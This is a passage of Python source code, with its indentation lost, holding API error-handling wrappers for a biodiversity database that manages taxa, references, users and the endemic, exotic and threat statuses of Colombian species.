Bibliographic reference descriptor
link: Str
Internet link for resources (usually datasets or pdf) associated with a bibliographic reference
nb_exot: Int
Number of exotic taxa associated with a bibliographic reference
nb_endem: Int
Number of endemic taxa associated with a bibliographic reference
nb_threat: Int
Number of threatened taxa associated with a bibliographic reference
"""
try:
listRef = getListReferences(connection=connection, formatExport= listRefArgs.get('format'), onlyEndem= listRefArgs.get('onlyEndem'), onlyExot= listRefArgs.get('onlyExot'), onlyThreat= listRefArgs.get('onlyThreat'))
except (MissingArgError) as e:
return {'error':str(e)}
except (DbIntegrityError, UnauthorizedValueError) as e:
raise Abort500Error(str(e)) from e
else:
if listRefArgs.get('format')=="CSV":
response_stream = BytesIO(listRef.to_csv().encode())
return send_file(response_stream, mimetype = "text/csv", attachment_filename = "references.csv")
else:
return listRef
def cleanDbDel_err_hand(connection,**cdbArgs):
"""
Description
-----------
Delete status without references, references without status nor taxa, synonyms without accepted tax, and/or taxa without statuses ( and which are not synonyms or parents of taxa with statuses)
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
cdbArgs: dict
Dictionary with the following elements:
status_no_ref: Bool [optional]
Whether to delete statuses without associated bibliographic references
ref_no_status: Bool [optional]
Whether to delete references which are not associated with any status or taxon
syno_no_tax: Bool [optional]
Whether to delete synonym without accepted names
tax_no_status: Bool [optional]
Whether to delete taxa which have no status in the database (and are neither synonym or parents of a taxon with status)
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_ref: Int
Identifier of the bibliographic reference
cd_st: List(Int)
List of status Identifiers (since a taxon can only have only a status in each category, corresponds to the cd_tax)
"""
try:
cd_taxs=[]
cd_refs=[]
cd_status=[]
if cdbArgs.get('status_no_ref'):
cd_status+=delStatus_no_reference(connection)
if cdbArgs.get('ref_no_status'):
cd_refs+=delReference_no_status(connection)
if cdbArgs.get('syno_no_tax'):
cd_taxs+=delSyno_no_tax(connection)
if cdbArgs.get('tax_no_status'):
cd_taxs+=delTaxo_no_status(connection)
except (MissingArgError,DeleteMissingElementDbError) as e:
return {'error':str(e)}
else:
return {'cd_taxs': cd_taxs, 'cd_refs':cd_refs,'cd_status':cd_status}
def userPost_err_hand(connection, **userArgs):
"""
Description
-----------
Creates a user without editing/admin rights
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
userArgs: dict
Dictionary with the following elements:
username: Str [required]
Name of a user
password: Str [required]
Password of a user for its creation
Returns
-----------
uid: Int
Identifier of a user
"""
try:
uid,username=new_user(connection,**userArgs)
except (AlreadyExistsDbError) as e:
return {'error':str(e)}
else:
return{'uid':uid, 'username':username}
def userPut_err_hand(connection,**userArgs):
"""
Description
-----------
Change password for the autenticated user
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
userArgs: dict
Dictionary with the following elements:
newPassword: Str [required]
New password of the user
Returns
-----------
uid: Int
Identifier of a user
"""
try:
user=g.get('user')
user.update(**userArgs)
cur=connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)
uid = change_password(cur,**user)
except (UserNotFoundError,MissingArgError) as e:
return {'error':str(e)}
else:
connection.commit()
return {'uid':uid}
finally:
cur.close()
def adminUserDel_err_hand(connection,**userArgs):
"""
Description
-----------
Delete a user
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
userArgs: dict
Dictionary with the following elements:
uid: Int [optional]
Identificator of a user in the API database
username: Str [optional]
Name of a user
Returns
-----------
uid: Int
Identifier of a user
username: Str
User name
"""
try:
uid, delUsername = delete_user(connection,**userArgs)
except (UserNotFoundError,MissingArgError,DeleteMissingElementDbError) as e:
return {'error':str(e)}
else:
connection.commit()
return{'uid':uid, 'username':delUsername}
def adminUserPut_err_hand(connection,**modifyArgs):
"""
Description
-----------
Change permission and/or password of a user.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
modifyArgs: dict
Dictionary with the following elements:
uid: Int [optional]
Identificator of a user in the API database
username: Str [optional]
Name of a user
grant_user: Bool [optional]
Whether to grant or not the user basic permissions to the user
revoke_user: Bool [optional]
Whether to revoke basic rights of a user
grant_edit: Bool [optional]
Whether to grant or not the editing permission to the user
revoke_edit: Bool [optional]
Whether to revoke edition rights of a user
grant_admin: Bool [optional]
Whether to grant or not the administrative permission to the user
revoke_admin: Bool [optional]
Whether to revoke administrative rights of a user
newPassword: Str [optional]
New password of the user
Returns
-----------
uid: Int
Identifier of a user
username: Str
User name
"""
try:
res={'grant_edit':None,'grant_user':None,'grant_admin':None,'revoke_edit':None,'revoke_admin':None,'revoke_user':None,'newPassword':None}
cur=connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)
if modifyArgs.get('grant_user'):
res['grant_user']=grant_user(cur,**modifyArgs)
if modifyArgs.get('grant_edit'):
res['grant_edit']=grant_edit(cur,**modifyArgs)
if modifyArgs.get('grant_admin'):
res['grant_admin']=grant_admin(cur,**modifyArgs)
if modifyArgs.get('revoke_user'):
res['revoke_user']=revoke_user(cur,**modifyArgs)
if modifyArgs.get('revoke_edit'):
res['revoke_edit']=revoke_edit(cur,**modifyArgs)
if modifyArgs.get('revoke_admin'):
res['revoke_admin']=revoke_admin(cur,**modifyArgs)
if modifyArgs.get('newPassword'):
res['newPassword']=change_password(cur,**modifyArgs)
except (UserNotFoundError,GrantExistingRightError,RevokeUnexistingRightError,MissingArgError) as e:
return {'error':str(e)}
else:
connection.commit()
return res
finally:
cur.close()
def adminUserGet_err_hand(connection):
"""
Description
-----------
Returns the list of users and their permissions. Format may be JSON or CSV
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
Returns
-----------
uid: Int
Identifier of a user
username: Str
User name
roles: List(Str)
List of roles (permissions, rights) for a user
"""
try:
cur=connection.cursor(cursor_factory=psycopg2.extras.RealDictCursor)
user_list=get_user_list(cur)
return user_list
finally:
cur.close()
def manageTaxPost_err_hand(connection, **inputTax):
"""
Description
-----------
Insert a taxon in the datababase (with its accepted taxon, if synonym, and parent taxa)
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
inputTax: dict
Dictionary with the following elements:
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
authorship: Str [optional]
Authorship of a taxon (usually corresponds to the difference between scientificname and canonicalname)
syno: Bool [optional]
Whether the taxon is a synonym
parentgbifkey: Int [optional]
gbifkey of the parent taxon
parentcanonicalname: Str [optional]
canonicalname of the parent taxon
parentscientificname: Str [optional]
scientificname of the parent taxon
synogbifkey: Int [optional]
Accepted taxon gbifkey (when the sent taxon is a synonym)
synocanonicalname: Str [optional]
Accepted taxon canonicalname (when the sent taxon is a synonym)
synoscientificname: Str [optional]
Accepted taxon scientificname (when the sent taxon is a synonym)
rank: Str [optional]
Taxonomic rank (level) of the provided taxon
min_gbif_conf: Int [optional]
Minimum value for the confidence in the GBIF matching: default value is 90, maximum is 100. Higher value means the taxon found in GBIF needs to have a closer spelling to the provided one in order to be accepted
no_gbif: Bool [optional]
Whether the provided taxon should be matched through the GBIF API. Note that even though ‘no_gbif’ is set to True, the parents taxa will be searched through the GBIF API if not found in the database
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_tax_acc: Int
Identifier of the accepted taxon
alreadyInDb: Bool
Whether the taxon was already in the database when the endpoint was accessed
foundGbif: Bool
Whether the taxon was found in GBIF
matchedname: Str
Name of the taxon matched with the provided one, in the API database, or from the GBIF API
acceptedname: Str
Name of the accepted taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
syno: Bool
Whether a taxon is a synonym
insertedTax: List(Int)
List of inserted taxa
"""
try:
res = manageInputTax(connection=connection, insert=True,**inputTax)
except (MissingArgError,UncompatibilityGbifKeyCanonicalname) as e:
return{'error':str(e)}
except (UnauthorizedValueError, DbIntegrityError) as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageTaxDel_err_hand(connection,**delTaxArgs):
"""
Description
-----------
Delete a taxon and its statuses in the database. Note that if the taxon has synonyms and/or children taxa, it might cause problems in the app. Use carefully.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
delTaxArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_children: List(Int)
List of Identifiers of children taxa
cd_synos: List(Int)
List of synonym Identifiers
"""
try:
cd_tax = delTaxArgs.get('cd_tax')
if delTaxArgs.get('canonicalname') or delTaxArgs.get('scientificname') or delTaxArgs.get('gbifkey'):
if not checkCdTax(connection=connection, cd_tax=cd_tax, **delTaxArgs):
raise UncompatibilityCdTaxInputTaxError(cd_tax=cd_tax,inputTax={key:value for (key,value) in delTaxArgs.items() if key in ('canonicalname','scientificname','gbifkey')})
res = deleteTaxo(connection, cd_tax)
except (MissingArgError,UncompatibilityGbifKeyCanonicalname,UncompatibilityCdTaxInputTaxError) as e:
return{'error':str(e)}
except (UnauthorizedValueError, DbIntegrityError) as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageTaxPut_err_hand(connection,**putTaxArgs):
"""
Description
-----------
Modify a taxon in the database, if the arguments gbifkey, parentgbifkey, or synogbifkey are provided, information is extracted from GBIF. Otherwise the information concerning the taxon is extracted from provided arguments
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
putTaxArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
authorship: Str [optional]
Authorship of a taxon (usually corresponds to the difference between scientificname and canonicalname)
syno: Bool [optional]
Whether the taxon is a synonym
parentgbifkey: Int [optional]
gbifkey of the parent taxon
parentcanonicalname: Str [optional]
canonicalname of the parent taxon
parentscientificname: Str [optional]
scientificname of the parent taxon
synogbifkey: Int [optional]
Accepted taxon gbifkey (when the sent taxon is a synonym)
synocanonicalname: Str [optional]
Accepted taxon canonicalname (when the sent taxon is a synonym)
synoscientificname: Str [optional]
Accepted taxon scientificname (when the sent taxon is a synonym)
status: Str [optional]
Taxonomic status (ACCEPTED, DOUBTFUL or SYNONYM) Note: doubtful synonym are “SYNONYM”
reference: Str [optional]
Bibliographic references for the taxonomic status of a taxon
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
cd_ref: Int [optional]
Identificator of a bibliographic reference
rank: Str [optional]
Taxonomic rank (level) of the provided taxon
no_gbif: Bool [optional]
Whether the provided taxon should be matched through the GBIF API. Note that even though ‘no_gbif’ is set to True, the parents taxa will be searched through the GBIF API if not found in the database
min_gbif_conf: Int [optional]
Minimum value for the confidence in the GBIF matching: default value is 90, maximum is 100. Higher value means the taxon found in GBIF needs to have a closer spelling to the provided one in order to be accepted
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
insertedTax: List(Int)
List of inserted taxa
"""
try:
res = modifyTaxo(connection=connection,**putTaxArgs)
except (MissingArgError,UncompatibilityGbifKeyCanonicalname,AlreadyExistsDbError) as e:
return{'error':str(e)}
except (UnauthorizedValueError, DbIntegrityError) as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageEndemPost_err_hand(connection,**inputEndem):
"""
Description
-----------
Add references to an endemic status, or insert references and status if the taxon has no status yet. If the taxon is not yet in the database, insert the taxon as well (by the same process as in the /manageTaxo endpoint). The optional parameter “priority” control the behavior of the function when the endemic status already exists in the database: if “high”, replace the preexisting status, if low, only add new references. If not provided, or null, and the status from the database is different from the provided status, returns an error and no modification is applied in the database.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
inputEndem: dict
Dictionary with the following elements:
endemstatus: Str [required]
Endemic status to insert or edit in the database
ref_citation: List(Str) [required]
Bibliographic references justifying the status of a taxon
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
authorship: Str [optional]
Authorship of a taxon (usually corresponds to the difference between scientificname and canonicalname)
syno: Bool [optional]
Whether the taxon is a synonym
parentgbifkey: Int [optional]
gbifkey of the parent taxon
parentcanonicalname: Str [optional]
canonicalname of the parent taxon
parentscientificname: Str [optional]
scientificname of the parent taxon
synogbifkey: Int [optional]
Accepted taxon gbifkey (when the sent taxon is a synonym)
synocanonicalname: Str [optional]
Accepted taxon canonicalname (when the sent taxon is a synonym)
synoscientificname: Str [optional]
Accepted taxon scientificname (when the sent taxon is a synonym)
rank: Str [optional]
Taxonomic rank (level) of the provided taxon
min_gbif_conf: Int [optional]
Minimum value for the confidence in the GBIF matching: default value is 90, maximum is 100. Higher value means the taxon found in GBIF needs to have a closer spelling to the provided one in order to be accepted
no_gbif: Bool [optional]
Whether the provided taxon should be matched through the GBIF API. Note that even though ‘no_gbif’ is set to True, the parents taxa will be searched through the GBIF API if not found in the database
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
comments: Str [optional]
Comments and supplementary information about a taxon status
replace_comment: Bool [optional]
Whether to delete the preexisting comment in a taxon status, before inserting the provided comments, when the status already exists.
priority: Str [optional]
“high” if the provided status is prioritary on (must replace) the preexisting status, “low” if the preexisting status should not be modified (in this case only the new references are added in the database)
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
alreadyInDb: Bool
Whether the taxon was already in the database when the endpoint was accessed
foundGbif: Bool
Whether the taxon was found in GBIF
matchedname: Str
Name of the taxon matched with the provided one, in the API database, or from the GBIF API
acceptedname: Str
Name of the accepted taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
syno: Bool
Whether a taxon is a synonym
insertedTax: List(Int)
List of inserted taxa
cd_refs: List(Int)
List of Identifiers of bibliographic references
status_replaced: Bool
Whether the status has been replaced in the application of the POST method
status_created: Bool
Whether the status has been created in the POST method
"""
try:
res = manageInputTax(connection=connection, insert=True,**inputEndem)
res.update(manageInputEndem(res.get('cd_tax_acc'), connection = connection, **inputEndem))
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageEndemDel_err_hand(connection,**delEndemArgs):
"""
Description
-----------
Delete a link between a taxon and its endemic status, or the status of a taxon.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
delEndemArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
cd_ref: Int [optional]
Identificator of a bibliographic reference
delete_status: Bool [optional]
Whether to suppress the whole status of a taxon in the delete methods (if negative or null, only the association between a reference and a status is deleted)
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_refs: List(Int)
List of Identifiers of bibliographic references
"""
try:
cd_tax=delEndemArgs['cd_tax']
delEndemArgs={k:v for (k,v) in delEndemArgs.items() if k!='cd_tax'}
res= deleteEndem(cd_tax=cd_tax,connection=connection,**delEndemArgs)
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageEndemPut_err_hand(connection, **putEndemArgs):
"""
Description
-----------
Modify the parameters of an endemic status of a species, and insert the references associated with the new endemic status
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
putEndemArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
endemstatus: Str [required]
Endemic status to insert or edit in the database
ref_citation: List(Str) [required]
Bibliographic references justifying the status of a taxon
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
comments: Str [optional]
Comments and supplementary information about a taxon status
replace_comment: Bool [optional]
Whether to delete the preexisting comment in a taxon status, before inserting the provided comments, when the status already exists.
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_refs: List(Int)
List of Identifiers of bibliographic references
"""
try:
cd_tax=putEndemArgs['cd_tax']
putEndemArgs={k:v for (k,v) in putEndemArgs.items() if k!='cd_tax'}
res= modifyEndem(cd_tax=cd_tax,connection=connection,**putEndemArgs)
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageExotPost_err_hand(connection,**inputExot):
"""
Description
-----------
Add references to an exotic (alien/invasive) status, or insert references and status if the taxon has no status yet. If the taxon is not yet in the database, insert the taxon as well (by the same process as in the /manageTaxo endpoint). The optional parameter “priority” control the behavior of the function when the exotic status already exists in the database: if “high”, replace the preexisting status, if low, only add new references. If not provided, or null, and the status from the database is different from the provided status, returns an error and no modification is applied in the database.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
inputExot: dict
Dictionary with the following elements:
is_alien: Bool [required]
Part of the exotic status of a taxon: is it considered alien in Colombia?
is_invasive: Bool [required]
Part of the exotic status of a taxon: is it considered invasive in Colombia?
ref_citation: List(Str) [required]
Bibliographic references justifying the status of a taxon
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
authorship: Str [optional]
Authorship of a taxon (usually corresponds to the difference between scientificname and canonicalname)
syno: Bool [optional]
Whether the taxon is a synonym
parentgbifkey: Int [optional]
gbifkey of the parent taxon
parentcanonicalname: Str [optional]
canonicalname of the parent taxon
parentscientificname: Str [optional]
scientificname of the parent taxon
synogbifkey: Int [optional]
Accepted taxon gbifkey (when the sent taxon is a synonym)
synocanonicalname: Str [optional]
Accepted taxon canonicalname (when the sent taxon is a synonym)
synoscientificname: Str [optional]
Accepted taxon scientificname (when the sent taxon is a synonym)
rank: Str [optional]
Taxonomic rank (level) of the provided taxon
min_gbif_conf: Int [optional]
Minimum value for the confidence in the GBIF matching: default value is 90, maximum is 100. Higher value means the taxon found in GBIF needs to have a closer spelling to the provided one in order to be accepted
no_gbif: Bool [optional]
Whether the provided taxon should be matched through the GBIF API. Note that even though ‘no_gbif’ is set to True, the parents taxa will be searched through the GBIF API if not found in the database
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
comments: Str [optional]
Comments and supplementary information about a taxon status
replace_comment: Bool [optional]
Whether to delete the preexisting comment in a taxon status, before inserting the provided comments, when the status already exists.
priority: Str [optional]
“high” if the provided status is prioritary on (must replace) the preexisting status, “low” if the preexisting status should not be modified (in this case only the new references are added in the database)
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
alreadyInDb: Bool
Whether the taxon was already in the database when the endpoint was accessed
foundGbif: Bool
Whether the taxon was found in GBIF
matchedname: Str
Name of the taxon matched with the provided one, in the API database, or from the GBIF API
acceptedname: Str
Name of the accepted taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
syno: Bool
Whether a taxon is a synonym
insertedTax: List(Int)
List of inserted taxa
cd_refs: List(Int)
List of Identifiers of bibliographic references
status_replaced: Bool
Whether the status has been replaced in the application of the POST method
status_created: Bool
Whether the status has been created in the POST method
"""
try:
res = manageInputTax(connection=connection, insert=True,**inputExot)
res.update(manageInputExot(res.get('cd_tax_acc'), connection = connection, **inputExot))
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageExotDel_err_hand(connection,**delExotArgs):
"""
Description
-----------
Delete a link between a taxon and its exotic status, or the status of a taxon.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
delExotArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
cd_ref: Int [optional]
Identificator of a bibliographic reference
delete_status: Bool [optional]
Whether to suppress the whole status of a taxon in the delete methods (if negative or null, only the association between a reference and a status is deleted)
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_refs: List(Int)
List of Identifiers of bibliographic references
"""
try:
cd_tax=delExotArgs['cd_tax']
delExotArgs={k:v for (k,v) in delExotArgs.items() if k!='cd_tax'}
res= deleteExot(cd_tax=cd_tax,connection=connection,**delExotArgs)
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageExotPut_err_hand(connection, **putExotArgs):
"""
Description
-----------
Modify the parameters of an exotic status of a species, and insert the references associated with the new exotic status
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
putExotArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
is_alien: Bool [required]
Part of the exotic status of a taxon: is it considered alien in Colombia?
is_invasive: Bool [required]
Part of the exotic status of a taxon: is it considered invasive in Colombia?
ref_citation: List(Str) [required]
Bibliographic references justifying the status of a taxon
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
comments: Str [optional]
Comments and supplementary information about a taxon status
replace_comment: Bool [optional]
Whether to delete the preexisting comment in a taxon status, before inserting the provided comments, when the status already exists.
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_refs: List(Int)
List of Identifiers of bibliographic references
"""
try:
cd_tax=putExotArgs['cd_tax']
putExotArgs={k:v for (k,v) in putExotArgs.items() if k!='cd_tax'}
res= modifyExot(cd_tax=cd_tax,connection=connection,**putExotArgs)
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageThreatPost_err_hand(connection,**inputThreat):
"""
Description
-----------
Add references to a threat status, or insert references and status if the taxon has no status yet. If the taxon is not yet in the database, insert the taxon as well (by the same process as in the /manageTaxo endpoint). The optional parameter “priority” control the behavior of the function when the threat status already exists in the database: if “high”, replace the preexisting status, if low, only add new references. If not provided, or null, and the status from the database is different from the provided status, returns an error and no modification is applied in the database.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
inputThreat: dict
Dictionary with the following elements:
threatstatus: Str [required]
IUCN threat status
ref_citation: List(Str) [required]
Bibliographic references justifying the status of a taxon
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
authorship: Str [optional]
Authorship of a taxon (usually corresponds to the difference between scientificname and canonicalname)
syno: Bool [optional]
Whether the taxon is a synonym
parentgbifkey: Int [optional]
gbifkey of the parent taxon
parentcanonicalname: Str [optional]
canonicalname of the parent taxon
parentscientificname: Str [optional]
scientificname of the parent taxon
synogbifkey: Int [optional]
Accepted taxon gbifkey (when the sent taxon is a synonym)
synocanonicalname: Str [optional]
Accepted taxon canonicalname (when the sent taxon is a synonym)
synoscientificname: Str [optional]
Accepted taxon scientificname (when the sent taxon is a synonym)
rank: Str [optional]
Taxonomic rank (level) of the provided taxon
min_gbif_conf: Int [optional]
Minimum value for the confidence in the GBIF matching: default value is 90, maximum is 100. Higher value means the taxon found in GBIF needs to have a closer spelling to the provided one in order to be accepted
no_gbif: Bool [optional]
Whether the provided taxon should be matched through the GBIF API. Note that even though ‘no_gbif’ is set to True, the parents taxa will be searched through the GBIF API if not found in the database
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
comments: Str [optional]
Comments and supplementary information about a taxon status
replace_comment: Bool [optional]
Whether to delete the preexisting comment in a taxon status, before inserting the provided comments, when the status already exists.
priority: Str [optional]
“high” if the provided status is prioritary on (must replace) the preexisting status, “low” if the preexisting status should not be modified (in this case only the new references are added in the database)
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
alreadyInDb: Bool
Whether the taxon was already in the database when the endpoint was accessed
foundGbif: Bool
Whether the taxon was found in GBIF
matchedname: Str
Name of the taxon matched with the provided one, in the API database, or from the GBIF API
acceptedname: Str
Name of the accepted taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
syno: Bool
Whether a taxon is a synonym
insertedTax: List(Int)
List of inserted taxa
cd_refs: List(Int)
List of Identifiers of bibliographic references
status_replaced: Bool
Whether the status has been replaced in the application of the POST method
status_created: Bool
Whether the status has been created in the POST method
"""
try:
res = manageInputTax(connection=connection, insert=True,**inputThreat)
res.update(manageInputThreat(res.get('cd_tax_acc'), connection = connection, **inputThreat))
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageThreatDel_err_hand(connection,**delThreatArgs):
"""
Description
-----------
Delete a link between a taxon and its threat status, or the status of a taxon.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
delThreatArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
cd_ref: Int [optional]
Identificator of a bibliographic reference
delete_status: Bool [optional]
Whether to suppress the whole status of a taxon in the delete methods (if negative or null, only the association between a reference and a status is deleted)
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_refs: List(Int)
List of Identifiers of bibliographic references
"""
try:
cd_tax=delThreatArgs['cd_tax']
delThreatArgs={k:v for (k,v) in delThreatArgs.items() if k!='cd_tax'}
res= deleteThreat(cd_tax=cd_tax,connection=connection,**delThreatArgs)
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageThreatPut_err_hand(connection, **putThreatArgs):
"""
Description
-----------
Modify the parameters of the threat status of a species, and insert the references associated with the new threat status
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
putThreatArgs: dict
Dictionary with the following elements:
cd_tax: Int [required]
Identificator of a taxon in the database
threatstatus: Str [required]
IUCN threat status
ref_citation: List(Str) [required]
Bibliographic references justifying the status of a taxon
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
comments: Str [optional]
Comments and supplementary information about a taxon status
replace_comment: Bool [optional]
Whether to delete the preexisting comment in a taxon status, before inserting the provided comments, when the status already exists.
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_refs: List(Int)
List of Identifiers of bibliographic references
"""
try:
cd_tax=putThreatArgs['cd_tax']
putThreatArgs={k:v for (k,v) in putThreatArgs.items() if k!='cd_tax'}
res= modifyThreat(cd_tax=cd_tax,connection=connection,**putThreatArgs)
except UnauthorizedValueError as e:
if e.var in ('threatstatus','priority','endemstatus'):
return {'error':str(e)}
else:
raise Abort500Error(str(e)) from e
except (UncompatibilityGbifKeyCanonicalname,UncompatibleStatusError,ModifyMissingStatusDbError,MissingArgError) as e:
return{'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def manageRefDel_err_hand(connection, **delRefArgs):
"""
Description
-----------
Delete a reference, or join them. In the mergeInto parameter is provided, all references to cd_ref are replaced into references to mergeInto. Otherwise, references to cd_ref are deleted
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
delRefArgs: dict
Dictionary with the following elements:
cd_ref: Int [required]
